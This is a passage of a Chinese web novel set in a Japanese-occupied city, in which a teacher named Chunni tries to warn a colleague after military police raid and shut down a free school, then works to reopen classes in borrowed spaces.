耐下心来,等待更好的时机,或者干脆退让一步,干脆什么都交出去,忍忍算了。 可是黑龙会真正的高层人物,他们的目光在华国的矿产,交通, 能源……这些倭国没有,而且急需的大宗资源上, 其次也是先施,百乐门这样的百货娱乐业巨头。相比而言,学校的这间小小工厂,只是卖张席子罢了, 纵然有些利润,在到处战乱的情况下, 销售额也有限得很。何况守着的人也不是善茬,实在没必要硬去啃下来。 这是春妮在这几个月里想明白的事。也许她想错了,那些人不是看不上他们的工厂, 而是不知道她的深浅,也有可能会先让其他人来先蹚个路, 这就更不能退缩一步。 所以,来的是池田。这个她以前从没听说过,只是经营着一个杂货店和一间高级餐馆, 在川陕北路有两个铺面,警察局有亲戚的小商人,他也敢来掺合,那就别怪她还以颜色。 要是这样的人也吓得到她,她上下两辈子真就是白过了。 这些背靠军队的倭国人只敢拿她的家人朋友下手,这样欺软怕硬,又怎么会真的让她放进眼里? 在海城过得太顺利了,有些人总以为华国人全都是任人宰割的牛羊。 倒是方校长,春妮还在巡捕房里关着,他未雨绸缪,通知所有学生,特别是商团护卫队的学生回校。为防意外,学生们上学下学必须持械,三五成队,不许落单。 第二条还好说,自从发现倭国人盯上学校后,学校一直采用的是最高级别的安防。学生们向来都是结伴上下学,只多了持械这一条。海城的治安每况愈下,倒也不难接受。 难的是第一条,倭国人时常拦路设卡,若被人搜出身上的武器,他们不是次次都会给人辩解的机会,往往随意安个叛乱分子的名,将人往车上一押,便不知押去了哪里。 连春妮都没想到,方校长第一条的通知歪打正着,来得非常及时。 这次倭国人的事件过去没两天,登记完租界所有户口,失去最后的利用价值后,万国商团便被政府强制解散了。 万国商团是租界唯一合法,由旧的权力方租界高层和大商人供养出来的武装力量,倭国人进驻之后,租界高层被监视的监视,被关的关,逃的逃。有点眼力的人都看得出来,倭国人不可能再留着它。 万国商会会被解散的事在租界人口中风传了很长一段时间,但它真正解散时并没有闹出任何动静。一队宪兵和伪军领着人到总部拿出文件宣读了一遍,在众人没反应过来之前,当场查封了包括跑马场在内的,万国商团所在的活动场所,所有人必须解除武装才被准许出门。 因为商团成员有相当一部分的武器寄存在本部,倭国人这突如其来的一招,让很多人措手不及,等回过神来,那些武器弹药等物资连着本部一起被“封存”,自然也要不回来了。 万国商团解散后,学校很快迎来了新的麻烦。 先是救火会一月来了三次,一回说他们学校两年前购买的水龙老旧生锈,要求更换新设备,第二回又说他们防火的水缸摆在教学楼有安全隐患,要求他们挪位置,第三回说他们救火员培训不到位,要缴纳人头费重新训练等等等等。 他们来便来,学校有专门员工负责接待,倒也不怕。但每回这些人上门,按照惯例,走时都要奉上茶水费车马费若干,两三回下来,学校里怨声载道。 救火会后,是税务局查帐,再是水务司……总之什么部门,什么鸡零狗碎的事都攒在这几天里来了。 要说这后面没什么人捣鬼,谁会信?包括方校长这样的厚道人。 他恨不得一天三遍地跟春妮强调,要她冷静,忍着,千万别乱来。还有事没事地让菊香带着他家的几个孩子去春妮家里玩,就是生怕他哪里看得不到,这姑娘扛起大刀,哪天真悄悄摸到别人家里,把那几个倭国人给剁了。 要春妮说,方校长完全小心过了头。她又不是傻子,到巡捕房走了那一遭,她跟池田等人的矛盾已经摆在明面上,这时候他家里出个什么事,岂不是现成的自找麻烦上身? 就算她借这回的机会,跟村上等巡警搏了个熟面,还借着他“受惊”一事给他送了一回礼“压惊”。大概看在钱的份上,巡警们可能会给春妮一点好脸色,行点方便,但妄想遇到事会让他们出面撑腰,那就是痴人说梦话了。 她是不喜欢忍耐,不是不会忍耐。 池田的小动作最多只能制造一些麻烦,大概知道自己这点小打小闹没法撼动这间工厂,反而他自己餐厅里被一位来就餐的大人物吃出苍蝇,差点惹出大|麻烦,很快就没心思再来对付春妮了。 池田方主动放弃,不代表学校的麻烦就此了结。相反,随着倭国人对海城的掌控日深,他们的动作只会越来越大。 夏天过去没多久,一队倭国宪兵突如其来闯到学校,第一时间控制住校长,王老师和林老师等学校几个高层,并且闯到季老师的宿舍进行了粗暴的搜查。 幸好季老师当时不在学校,避过了一劫。然而宪兵队没抓到季老师,留了几个人守在学校附近,不许包括学生在内的任何人出入学校,还不许任何人多问。 转瞬之间,形势变得非常危急。 看到这些人目的明确的动作,春妮心里当时就是一个咯噔:季老师的身份,只要曾经参与过她秘密会议统计的老师们都会有猜测,有的甚至是心知肚明。这队倭国宪兵在学校这么多老师中,只抓季老师一个人,目的这样明确,只能说明一点—— 她的身份极有可能已经暴露了! 宪兵队粗暴地将方校长等人塞进吉普车,眼看就要离开。 “你们这些王八蛋,把我们校长放下!”学生们激动起来。 “你们要带我们校长去哪?” “……” 学生们慌了,纷纷跑上去拦在车前,将吉普车离开的路堵得水泄不通。 为首的宪兵队长向外头喊了几声,非但人群没有散去,反而围上的人越来越多,眼看要闹出乱子,“咔嗒”数声枪栓拉动,那队宪兵纷纷拔出佩枪,指向了学生们。 混乱的场面顿时为之一静。 “他妈的小鬼子,就你有枪是吧?”人群里,不知哪个学生喊了一声。 春妮心头一跳,正要出声说话,吉普车的车窗抢先一步摇下,方校长探出一颗脑袋:“都给我回去!回去!” 他眼镜歪挂在鼻梁上,吼得青筋都要爆起来:“校长没干违法的事,什么都不用怕,我很快就会回来的。听话,都回去上课,等我们的消息。” 学生们的动作迟疑,校长加紧道:“校长没干过违法的事,什么都不用担心,只是到宪兵队协助调查,不会有事的。要是现在你们在这出了事,那我可真的回不来了!你们这些孩子,可千万要冷静,别好心办错了事啊!” 说这番话时,方校长虽然没看春妮,但春妮知道,他这番话就是说给她听的。 刚刚的那个瞬间,春妮心中的确生出了某种冲动。在她还未付诸行动的时候,身边的那群孩子一个接一个,比她还激进的样子很快让她冷静了下来。 是了,她现在是在学校里! 这所学校目前有两千多个学生,校长他们被带走,接下来她才是学校最有号召力的人。她必须为这两千多个学生负责,在酿出大事之前,让所有人先冷静下来。 这时候她就有些庆幸的,大概是春妮明面上在学校的职务只是个体育老师,又因为平时经常在外面跑,除了安保队的同学们,许多新进的老师和学生都不熟悉她。那些倭国人情报没做周全,并没有将她看在眼里,所以她留了下来。 这时各年级负责的老师们也反应了过来,各自约束学生:“都回去上课,听老师的,都回去上课啊。” 春妮则看了一眼那几名在校门口转悠的宪兵,点了几个名字,大声道:“你们都跟我到操场来,我们接着商量秋季运动会的事。” 这个时候,谁有心思去商量什么秋季运动会? 被她点名的几个人虽然不明白春妮葫芦里卖什么药,仍然听话地随着她到了操场的一角。 校园里巡视的宪兵在这里晃悠了两圈,见他们一会儿搬器械,一会儿拿纸拿笔地写写画画,似乎是在统计着什么,又见校门口的学生们似乎拖拖拉拉的,还是不愿意走,左右探看着,最终选择去了校门口。 等那几个倭国兵一走,春妮立刻问道:“你们谁知道季老师今天去哪了吗?” 一个老师道:“我知道,她上次说过,学校印刷室的彩墨不够了,她问校长申请了一笔钱,这时候应该去买彩墨去了。” “那买彩墨的地方在哪?她什么时候的出门?大概什么时候回来?” “在英租界江门口,她一大早就出去了,顺利的话,不到一个钟头她就能回来。怎么?顾老师,你是不是有什么想法?” 春妮当然有想法! 一旦季老师落入那些倭国人的手中,整个学校,只要参与过学生转运的老师,还有负责统筹调配的学生领导们,他们就全都有危险了! 季老师绝对不能被捉到,得想个办法通知她! 春妮隐晦地看了一眼几个宪兵走动的方向:这只是学校内能看到的情况,也不知道校外他们有没有埋伏人手,埋伏了多少。 该想个什么办法,绕过这些宪兵的监视,顺利通知到季老师? 她苦苦思索着。 第198章 198 紧张 别紧张, 千万别紧张。 春妮竭力约束自己焦燥的情绪,沉下心来,问道:“你们谁知道季老师平时都在哪家店买彩墨?店里有没有电话?” 几个人面面相觑。 蒋四成立刻道:“我去问问印刷室的人。”校门口的小摊子撤了之后, 他找不着工作, 又还想在学校多学点东西,校长让他进了学校食堂,接替原先李德三的位置,给食堂干起了采买,偶尔当当帮工,打个下手。 其实这时候的食堂采买就是个虚活加苦活,光是买够这么些人每天吃的粮食和盐, 就不是一般人做得到的。以前学校逢年过节偶尔还会有的新鲜蔬菜和肉食,现在已是绝迹久矣。 由于每人每天消耗的粮食数量过于庞大, 倭国人又严格管制大米和面粉,以至于只有春妮还能想想办法,满海城拼凑出点麦麸皮混着稻糠玉米红薯等杂粮供给食堂。 赵师傅巧妇难为无米之炊,只能想法子将这些东西磨成面或攥成黑面窝头, 或烙成黑面饼子给学生们发下去,就着咸菜凉水干咽。多少孩子跟校长家小儿子似的, 胀得肚子老大拉不出来,还要抻着脖子往喉咙里塞。 而每天光是操心弄来这批粮食,就耗去了春妮大半精力。这也是春妮思虑再三, 丢不下学校离开海城的原因。她要是走了,学校以前那些到处搜罗来读书的小乞丐, 不出半个月就要再回街上去。 如今的海城,粮食比金子还贵,半个城的市民都在饿肚子。现在回街上当小乞丐, 这跟送孩子去死有什么分别?救人救到一半,还不如一开始就别伸手。 话说回来,干不了采买,蒋四成也不失望,这孩子倒是个吃得下苦,稳得下来的性子。他主动不要薪水,每天在食堂里帮着生火烧水,拿点剩饭剩菜回家,这就是他的薪水补贴了。这样,其他人看见,也不至于对他能留在食堂干活有太大意见。 蒋四成离开后,春妮带着人在操场和教学楼之间来来回回搬器材,很快将操场围墙外的情况来了个大概的摸排:“后门和巷尾那边都有人把守。” “小贩们和乞丐还在吗?” “都在,他们在几个路口也留了人,不许所有人出入。” 春妮咽了咽口水,可惜小吃摊因为严重入不敷出,买不到原料早关了,他们对附近的情况掌握大不如从前。想尽办法也只能打探到这,无法得知这些倭国人还有什么其他布置。 “都有谁?” “小贩么,就那几个熟脸。乞丐我没认出来,这阵子学校附近乞丐来来去去的这么多,那些老面孔也不晓得去了哪。” 春妮正要说话,蒋四成跟杨大强来了:“季老师去的那家店他有电话,但工厂办公室我去看了,有个倭国兵守在厂门口,不让人进去,厂里的员工也被他们看守了起来。” 整个学校,也就是玩具厂原来的厂长办公室安装了一台电话,现在由学校和工厂共用。倭国人怕他们内外通联,早有防备,说不定电话线这会儿都剪了。 看来指望学校的人传消息出去,是不可能了。 几个人围着春妮正在发愁,那两个先前去门口驱逐学生的宪兵又跑了回来:“你们地,进去!不准留在外面,进去!” 偌大的校门口已经空无一人。 春妮当着倭国人叫走的全是护卫队学生, 学校里平时最冲动最好斗的孩子。校长走后,又失去了领头人的煽动,老师们终于将学生们带回到了教室。 现在解决掉更大的麻烦,倭国人立刻开始转头对付他们。 她伸起双手,作出顺从的姿态,转头吩咐学生:“听见没有,把器材搬进去后回教室,谁都不许给我惹事。” 不等那个宪兵再过来干涉,她推着学生们的肩膀,先一步安排他们抬起器材,原路去往器材室。 看在春妮足够顺从的份上,那个倭国宪兵只皱了下眉头,没再继续找事。几个人不再说话,赶紧低下头快步往体育场器材室的方向走。 学校的器材室建在操场旁边,只需要穿过校道门口的林荫路,再拐个弯就到了。 从林荫路到体育场足有一两百米长,学生们都觉得,往常一眼望不到头的路,今天变得特别短,仿佛没走几步就要到地方。 大伙心头一个劲发沉,目前只有在这里,才会第一时间看到季老师,想办法向她示警。等几人真的离开,再想回来,就更难了。 学校环境单纯,季老师又来了好几年,有些秘密即使有意去守,也不可能一丝风都透不出来。特别这些学生中,几乎个个都直接或间接地帮过季老师的忙。不需要春妮提醒,他们都对现在的处境有数。 “顾老师,咱们现在怎么办?”一个五大三粗的男学生率先沉不住气,扭头问春妮。 他突然停下来,身后的学生刹脚不住,顿时撞了他一下。 “你们走路小心点。”这男生惊魂不定,抱紧手上的盒子。盒中黑沉沉的铅球发出咣咣的碰撞声,几乎快倾倒下来。 春妮盯着那几颗铅球,脑中灵光一闪,快速往后看了一眼,同时伸手轻轻一拨,五六个铅球争先恐后掉下来,砸在这个倒霉蛋的脚上,他“啊”地抱住了脚大声惨叫。 “怎么这么不小心?快快快,扶他到韩师傅那去找药油!多来两个人抬着他,他这个样,怕不是伤到了骨头,得赶紧去医馆让大夫看看。” 这话一出,随行的学生全明白了,顿时争先恐后架起蒋四成的胳膊往来路跑。 学校没有专门设置医务室,平时学生们有个磕磕碰碰的,就到韩师傅在的门卫处讨点老头自己泡的药酒药油揉揉。春妮几个无法在外边停留,能赖到门卫室,更加方便大伙见机行事。 他们冲来查看情况的宪兵连连赔笑,不等对方喝止,煞有介事地兵分两路,春妮满脸焦急地跟在受伤学生后面进了门卫室。 然而没等他们松半口气,便看见两名宪兵坐在窗户门口。这两人身体侧向墙壁半隐,长枪半端在他们的手边。 这二人似乎是见惯场面,对着几个闯进来的学生咧嘴发笑,神态分外不怀好意。 韩师傅背对他们蹲在墙脚,大气不敢出一口。 吵闹的声音霎时为之一静,学生们傻了眼。而两个宪兵则快速起身,向众人包抄过来。 正在这时,大门口外忽然有人叫:“这是怎么了?中午没到,半个人影都没有。”随即,门卫房外边的玻璃窗被咣咣敲响:“老韩?老韩你在不在?” 两个宪兵中分出一人逼退堵在门口的春妮几人,并快速闪出门外,另一人打开窗户,同时拉动枪栓。 外面那人还不知道死期将至,伸进脑袋左右看:“老——哎哟我的亲娘!小顾姐,你,你们这——” 来人头顶一个破草帽,不是跟李德三是幼时邻居,如今时常在学校附近晃悠找活干的王阿进是谁? 他早前靠春妮,接了几单和泥盖房的大活,又凭他哥哥在红帮的关系,还偷偷跑过单帮,很过了两年好日子。但倭国人打进租界后,严加管控苏河内外,跑单帮风险太大,学校也自顾不暇,他断了生计。春妮跟他有段日子不见,当下打过照面,才知道他又干起了贩运水果的老营生。 宪兵黑洞洞的枪口穿过窗口顶在他脑袋上,似乎叫他吓呆了。 春妮见那端枪的宪兵脸上笑意残忍,心中大叫不好,急忙飞扑过去抱他手臂,叫道:“这位长官,这是给我们学校卖水果的小贩,他不是你们要找的人,是大大的良民。求你千万别开枪,他上有老下有小的不容易,你千万枪下留情。”又叫王阿进:“还不快向两位长官赔不是!” 生死攸关,王阿进反应极快,他见里屋的宪兵被春妮缠住,当下扑通跪下,冲出门的宪兵砰砰磕头:“长官饶命,饶命啊。” 春妮从兜里掏出几块钱,也帮着喊: “长官,我这有钱,我用钱买他的命。”见那宪兵目光迟疑,又叫:“要是这钱不够,我家里还有,只求你看在他家孩子的份上高抬贵手。” 她生怕这两个宪兵不通华文,用的倭国话,确保两人一个字不漏地听懂了。 那倭国兵偏头看了看春妮,从她手里接过大洋,嘻嘻笑着,还想在她手上揩把油。 春妮只作没察觉,缩手极快,快速交代王阿进:“学校现在不方便你进来,你要是能出去,一会儿把咱们学校订的这些水果交给码头的老师就可以回家了。” 王阿进一怔,他因为以前时常在苏河两岸出入,帮附近居民们带过不少东西,这其中自然也包括季老师。特别季老师肩负工厂一部分庶务,平时经常来往于租界内外,有时不方便,也会找熟知水路的地头蛇帮忙。 王阿进便是由此跟季老师熟识起来,此刻春妮说起码头的老师,那就只有那一个。 他人很机灵,立刻明白今天学校的变故必然跟季老师脱不开关系。他知道这会儿不是问东问西的时候,点点头深深看春妮一眼,挑起挑子,调头很快走出了巷子。 倭国人防守严密,春妮将事情交给王阿进是迫不得以。不管他能不能领会她的意思,顺利将消息带到,她目前也只能做到这一步,毕竟身边还有两条恶狗。 王阿进走后,两个宪兵商量了一下,将看病的学生连着韩师傅一起轰出门房,并决定分出一人去春妮家拿钱。 不管他们还有什么鬼主意,这两个人对春妮都不是什么威胁,只是不得不离开门房,又想不出万全之策,让她心头益加沉重,拖拽着步子慢慢向住处走去。 那倭国宪兵哇啦哇啦催她,跟在她身后寸步不离。 就在两人磨磨蹭蹭快到地方的时候,突然“啪啪”几声枪响和哨声从巷子外头传了出来。 春妮身后的倭国宪兵身子当即调转回去,与此同时,分散在校园各处的宪兵们都快速向门口集结,他们彼此大声招呼,鬣狗一般冲出了校园! 难道季老师这么快就回来了?难道宪兵队已经对她实施了抓捕? 春妮惊疑不定。 第199章 199 在 边三轮嗵嗵发动离去, 目送最后一个宪兵离开巷子,春妮马不停蹄奔出了校门,跑向枪声之前响起的方向。 她脚程稍慢, 赶到事发地时, 只看到了墙上的几个弹孔,以及几滴嫣红的血迹。 街口地上散落一地金灿灿的甘桔,正被几个乞丐扑在地上争相抢食。 “这些甘桔的主人去哪了?”春妮揪起一个乞丐问。 金秋已到,王阿进顺应时令,今天贩的果子大多是甘 桔。 “他让那些倭国兵抓走了。” “你给我好好讲讲。” 从乞丐们的口中,春妮得知了整件事的来龙去脉。 街口被倭国人严密看守,王阿进挑着挑子果然许进不许出。被守在街口的宪兵顺手牵羊, 拿走几只桔子之后,被踢出来, 老老实实蹲在街口跟其他人一样等候。 在乞丐的眼里,说他大概想讨好那两个倭国兵,没蹲片刻,取出两只桔子凑了上去奉承他们。可没等说两句话, 那些倭国兵不知道看到了什么,就手推倒他, 嘣嘣放了几枪追了出去。 事情发生得相当快,那些倭国人刚刚离开,王阿进原本混在小贩中跟着大家一起在往外跑, 却正好撞到又跑回来的倭国人手上,那几人不顾他的挣扎, 蛮横地把他拽上自己的车,很快再一次开走了。 地上的这点血迹就是他挣扎不果,被宪兵敲破额头留下的。 王阿进这人最是胆小, 又识时务,他绝不会无缘无故去跟那两个宪兵搭话。春妮直觉认为,他这样反常,很可能她最后交代的话有关,跟季老师有关。 现在学校的倭国兵已经全部撤走,季老师有没有落入他们手中,是春妮急需弄明白的头等大事。 倭国人的行动没有遮掩,码头上又人多嘴杂,这件事很好打听。春妮派出其他学生,不出半个钟头,通过零零碎碎的消息反馈,她很快拼凑出了整件事的经过。 她猜得不错,季老师的确是在那个时候回的学校。只是刚到路口,看见正在跟王阿进纠缠的倭国宪兵,很机警地察觉到不对,立刻返身离开。 倭国人见布置的陷阱没有奏效,只好追了出去。幸好这一带地形复杂,季老师在里弄之间来回穿行,很快甩掉了追兵。 倭国人平白布置一场,却扑了个空,在回来学校的路上正巧碰到王阿进,将他抓到了自己的车上。 春妮无法得知,到底这些人怀疑季老师的逃脱跟王阿进有关,抓他回去审问,还是认为他坏了事,纯粹抓他回去泄愤。 但现在一切都不重要,落到那群人魔手里,时间拖得越长,王阿进越是凶多吉少。 “小顾姐,我弟弟是被你们学校连累抓走的,你可不能丢开手不管啊。” 下午,王阿进哥哥王老六得知消息,从城西场子赶回来,带来六神无主王阿进的老婆孩子,缠着她想办法。 春妮也需要他帮忙打听消息:“阿进被抓去了哪?打听出来没有?是不是被带去了宪兵队?” “要真是被带去了宪兵队,倒还好说,我在那里边有认识的人,多少能弄到点消息。”王老六效力的红帮早在他们占领租界前就暗地里投靠了倭国人,他道:“我就是没在那打听出来,害怕他被倭国人剁碎了喂狗,才来请小顾姐您出手帮忙。” 他不知道王阿进的事很有可能跟春妮的吩咐有关,这个忙,他不打招呼,她也会帮。 只是抓走王阿进的,是几乎在城里横着走的宪兵队,他们的动向一般人不敢乱打听。 这一下午,方校长他们被抓的消息也传了出去,社会各界都很关心这所全海城唯一一间免费让学生入读的义务学校。 他们三个在海城教育界有些名望,纵然一时没有消息,春妮暂时不担心那些倭国人会随便处置他们。 情况最危急的,反而是被连累的王阿进。 不过,倭国人如果怀疑他在这件事里做了手脚,必然会把他带到宪兵队提审,他不在的话,极有可能就像春妮猜测的那样,对方只是随便抓他来泄愤,不需要到宪兵队上大刑。只是这样一来,他的下落就不好确定了。 “王阿嫂你先别灰心。你想想,倭国人要是想杀阿进,随时可以动手,不用专门带他走。现在前方战事吃紧,倭国人缺奴工干活,阿进最坏也就是被他们抓去当苦力。我跟你保证,只要他还活着,我一定会找到他,不会不管他的。” 安抚完王阿进老婆,春妮马不停蹄,向所有自己认识的人放出消息打探他和季老师的下落,找人营救方校长等人。 季老师还好,她自从那天在学校外面惊鸿一现之后,再也没有在海城出现过。春妮知道,倭国人也在找她,但也一直没有再找到。 这一点,不用刻意去打听,她也可以判断出来。 因为教育局来了人,以学校“窝藏抗倭分子,同情抗倭”为由,正式将学校大门贴上封条,关停了。 如果季老师被抓到,迎来学校的,必然不会是这么简单的结局。 春妮曾经无数次设想过学校开办不下去,走到最后,她该怎么办。然而事实是,她并没有时间做下一步计划,连感怀的时间也没有。就疯狂投入了找人救人中。 现在海城倾向抗倭的教育界名人几乎都转移到了内地,留下来的那些不是早早转投了倭国人,就是被倭人迫害,避居隐世自顾不暇,跟春妮几进巡捕房那两年相比,形势又变了一个大样。 春妮跟符律师奔波好几天,实在找不到人帮忙,最后不得不携带重礼,请夏先生出面,找了一位倭方文艺界的大师,请他帮忙打听方校长等人的下落,见了一面。 方校长等人被关押的地方不远,就在她以前住的闸口路街头,站在吉拉太太家面包房的房顶都看得到。那地方以前是给英国人关押海外重刑犯,素有远东第一监狱之称,被倭国人刚接手不久。 得知方校长的关押地点,春妮先是好好松了一口气。现在的情形普遍是,□□们关押的监狱越有名气,越说明倭国人不会暗算他们。像闸口路这样的有名大监狱,名头听来可怖,犯人的人身权利也会得到相对的保障,不会被折磨得太厉害。怕的就是像王阿进一样,抓人没有通知,抓到哪,是死是活也没人知道。 事实跟春妮猜测得差不多,方校长和林老师两人跟几个白人流氓地痞关在一起,至少床铺和被褥都有。而王老师因为是女犯,一个监室里只有四个女犯,还有一个盥洗室,每天上午下午十分钟放风时间,男女监室还有机会互通有无。 不过,这里的规章制度这样严明,也说明倭国人很有可能打算走正规程序关押,她想用点巧办法先捞校长他们出狱,也极有可能不会成功。 校长本人倒是不怎么在意或许会坐很久的监牢,得知学校被关停,他顾不上关心跟她一起进来探视的师母,径自问春妮:“那学生们呢?他们都去哪了?” “我先让无家可归的学生去了学校其他几栋房子暂时住着,宿舍楼还在交涉中。总之,我争取尽快让倭国人同意解封。” 说归这样说,春妮却没抱多大希望。学校的一切物资,包括开办在校内的工厂都全部被查封,这次倭国人大张旗鼓地抓走学校所有主要负责人,必定是要拿他们学校立威,岂有轻轻松松通容的道理? 方校长看来也想得明白,话到嘴边,却是勉强笑了笑:“尽力就好,实在不行,以你自己的安全为要。学校……能拿回来就拿回来,拿不回来……也幸好你未雨绸缪,抢在倭国人祸害租界之前,给学校买了些产业。那这段时间,你住在哪?” “我这几天和几个老师一起,搬到英租界的房子里暂时跟几个学生挤挤。”一整间学校都被查封,春妮这些住宿舍的老师们只来得及抢出几件衣服,就跟学生一起,被撵出了学校。 “那你们这几天怎么解决吃饭的问题?孩子们呢?都还好吧?有没有,有没有少人?” 方校长什么都想问,想知道他不在的这几天,有没有哪个学生又死在了街头。可狱警通容的只有十分钟时间。春妮尽量简短地说了些目前的情况,将师母往前推了推,把空间让给了夫妻俩。 既然方校长关押在附近,这次见面之后,春妮他们再去探视,往里送钱送东西也方便。闸口路监狱的几个狱警,他们也都是脸熟的街坊邻居,拐弯找关系,总能找得到。 “小顾,小顾老师——”临行前,校长突然再次叫住了春妮。 春妮回过头来,见他紧紧盯着她,喉头嗫嗫,却是嘴唇几度张合,也没能说出话来。对他笑了笑:“校长,我知道你要说什么。我答应你,不管发生什么事,不管校舍在不在,只要我还在,学校就一定在。” 第200章 200 困难 重办学校, 这里面的困难不用细想,方校长自问,就算再多十个他, 也不可能办下来。就连旧的学校, 也是在政府大员和教育界名宿的号召下,趁倭国政府在海城尚未站稳脚跟之际才勉强成立。这也正是方校对春妮无法作出要求的原因。 春妮一个无权无势的小姑娘,该怎么在倭国人的封锁下将学校重办起来?这太难了! 尽管理智上作了无数个否定,在亲耳听见春妮的承诺时,方校长仍是无法克制地从心底生出了希望:也许,这个神奇的小姑娘,她真能做到呢? “校长。”林老师的声音打断了方校长的思绪。 他以目示意, 只见同室的几个外国室友不知什么时候围在了一起小声说话,视线还在他手里的包袱上不停打转。 方校长脸上挂出笑来, 主动递上手里的包袱:“几位兄弟,这是内人准备的一点干粮,不嫌弃的话,大家一起吃一些。” 趁其他几人分东西, 方校长把林老师拉到一旁,塞给他一个小布包:“这点药, 你想想办法给王老师递过去,她家里人没门路,又是个女人家, 肯定没我们能扛,我们也只能多想办法照顾照顾她。” 林老师年纪轻, 性格开朗,关键他毕业于教会学校,洋文流利, 跟这些外国人沟通相对顺畅,在监狱里比方校长吃得开,像这种对外联络的事一向由他来出面。 林老师点头,方校长声音放得更低了:“要是有办法跟王老师再见一面就好了,她一个人,也没个依靠。我有些担心她的精神状况……学校再也经不起折腾了。” “我再想想办法。王老师性格一向沉稳,突然遇到这么大的事,一时想不开也正常,您别太想多了。” “哎,也是这监狱里环境过于压抑,她身边没人,又没遇到过什么事。上次那个监狱长说,我们的案子最快下个月就会宣判,对吧?” “没错。” “那到时候,在法庭上我会尽量为王老师脱罪,你记得配合我。” “校长……” “你不用劝我,我已经决定好了。” “可是,这样的话,您的刑期必然会延长。到时候您太太和家里人怎么办?” 方校长沉重地道:“总要有人出面揽下责任。我是学校最大的领导,这个责任,除了我谁都扛不起来。反正总要有人倒霉,能少一个就少一个。不光是王老师,就是你,要是有机会,我也肯定要想想办法。” “我?校长您太乐观了,王老师都难说,更别说我。我是您的秘书,没有您身陷囹圄,我能撇清关系的道理。” ………… 方校长的隐忧,春妮没有察觉到。因为是私下里活动,偷偷进的监狱,她这次只争取到了跟方校长短短十分钟的会面,并没有见到王老师,很多事两方都来不及互相通气。 在对校长作出承诺时,春妮倒不是一时脑热,事实上,进监狱之前,她脑海里先有了一个大概的想法。 学校是春妮来这个世界后,待的时间第二长的地方。她见证着它从无到有,从落魄到辉煌。这里已经成了她的第二个家,她不愿意放弃,除了责任,也有感情。 只是单靠她一个人,重新办校这件事肯定没法实现。 在监狱门口跟师母道别后,春妮坐上电车,二十分钟后,站在了英租界前的一间淮扬菜馆里。 “稀客啊,你这时候怎么有时间过来?”常文远换了身长衫,正坐在他二楼的经理室里看报纸:“正好,我也有事去找你。” 春妮在他对面坐下:“那你先别说,听听我的事吧。” 常文远摇头笑道:“看你紧张的,别以为我找你就是坏事嘛。” 春妮没心思跟他打机锋: “你们餐馆是不是上午和下午各有两个钟头歇业?” “不能这么说,要看那段时间有没有客人。你要做什么?” “这段时间借我用一下。”她道。 学校这段时间发生的事传得赫赫扬扬,常文远略一思索,便猜到了春妮的想法:“你是想借我这里当课堂?” “没错,是不是不方便?” 常文远又笑了:“恰恰相反,我们俩说的,可能还是同一件事。我听说,你这几天住在蓝田弄,跟几十号学生挤在一间小平房里?” “你连这都知道了?”不过这人消息一向灵通得很,春妮没有深问。 常文远道:“我这两天正要去找你。还记得你之前租给我的那栋房子?要是你没地方住,我可以把房子先还给你。” 春妮这两天忙得昏了头,他不提,自己还真没想起来这间房子的事。 “你还给我,那你呢?合心意的房子很难找。”她租给常文远的房子,是一栋两层楼的小洋房,加起来使用面积不超过八十平,正好够他一个人住,再匀出一间书房。要紧的是,那地方位置幽僻,不引人注意,想做点不方便让人知道的事,也很便利。 “我可以先搬到店里来住。” 春妮眉头微皱:“那怎么行,你店里人多嘴杂的,不方便吧。” 不等他说话,她接着道:“方便的话,你腾一间房子出来给我就好。” “你是说,我们住在一栋房子里?”常文远愕然。 “怎么?你不会是不好意思,连这也觉得不方便吧?” “怎么会。”常文远道:“我是怕孤男寡女的,让邻居们说闲话,传出去对你有影响。” 其实现在提倡思想解放,海城多的是男男女女无证同居,但春妮是学校老师,他们俩又不真的是那种关系,这方面是需要特别注意一些。春妮想不到,常文远一个大男人不能不注意。 “新式男女,哪有那么多讲究的。” 她果然大大咧咧。 常文远笑起来:“我本来是怕你有顾虑才这样安排,你一个姑娘都不怕,我有什么好怕的,那就这么定了?” “定了。”春妮快人快语,先解决了住宿问题。 这几天她也受够了跟好几十个人挤住在一起打地铺,常文远愿意让出一间房子,的确是解了她的燃眉之急。 “那行,咱们再好好商量商量对外的说辞,总不能让邻居们因为这点事注意到我们。” “这个不急,刚刚我说的你店里的事,你给句准话,能不能帮忙?” “帮忙没问题。但咱们有话在先,人一多,事肯定也多。我这个店你知道开来是干什么的,绝对不能有大|麻烦。为免这种情况发生,所以我要给你们定几条规矩。” 春妮自然没二话,两个人就开课一事讨论出基本章程,确定开课时间和人数之后,常文远又问她:“你们学校那么些学生,都是这么安排的?” “目前是有这个打算。” “听你的意思,其他人还没安排好?” “你这里是第一站,其他人那我都还没去呢。”春妮坦然道。 常文远:“……这么说,你就是拿定了我不会不同意呗。” 春妮嘿嘿笑起来:“咱们什么关系,有这种好事,我能不第一时间找你?” 常文远跟着失笑:“你呀!有没有哪里还需要我帮忙?” 春妮半点不带客气的:“当然有了。我认识的人不够多,也没什么把握都说服那些老板们,你要是能帮我解决几个场地,那我是真感激不尽。” “那还等什么,走吧。”他站起身,顺嘴调侃道:“我帮你的忙,可有什么好处?” 春妮第一个来找他,打的就是再拐个免费劳力的主意,当即大喜:“请你吃饭,你去不去?” 不想这厮竟摇头道:“我开的馆子,想吃饭不容易的很?你说的这个没有诚意,我不去。” “那你想要什么好处?”春妮纳罕。这年头请人下馆子,还不够有诚意? “到时候再说吧。”常文远一躬身,撩开帘子出了门。 事实证明,虽然被倭国人攻占之后,租界再次外逃了一大批人,房子依然紧俏得很。即使有常文远这个强力后援,数天内春妮跑断了腿,也只解决了一小部分小学生的课堂问题。而且,这一小部分的学生,大半都是之前在街上的 流浪儿。 那些有家的孩子有的家住得太远,上下学实在不方便,有的是父母担心再次惹上麻烦,不肯让他们再跟学校扯上关系,索性不再送他们上学。 生源的流失,不仅意味着学生们没书读,还有就是,失去了这部分学生家长缴纳的学费,他们的校厂也被查封的情况下,学校的资金来源,只能指望春妮藏在空间里的那点物资了。 老师们明白现状,都很气馁,春妮经历的失败多了去了,这件事在她看来已是颇有进展,反而时常开导老师们:“万事开头难,不管怎么说,咱们的流动小课堂能够开办起来,就是一个相当大的进步,不是吗?” 有的老师觉得她说的有道理,很快振作精神重新走上了讲台,而更多的老师悄悄地找到春妮向她请辞。 这些老师每每找到春妮时,都趁的晚上悄悄来:“家里实在没办法,孩子要吃饭,小顾老师,对不住了。” “我想去内地看看,在这里实在没有出路。” “……” 学校资金链出现大问题,老师们的薪水随之也减半。在今时今日米珠薪桂的境况下,度日的艰难不能用言语尽述,春妮不怪他们。 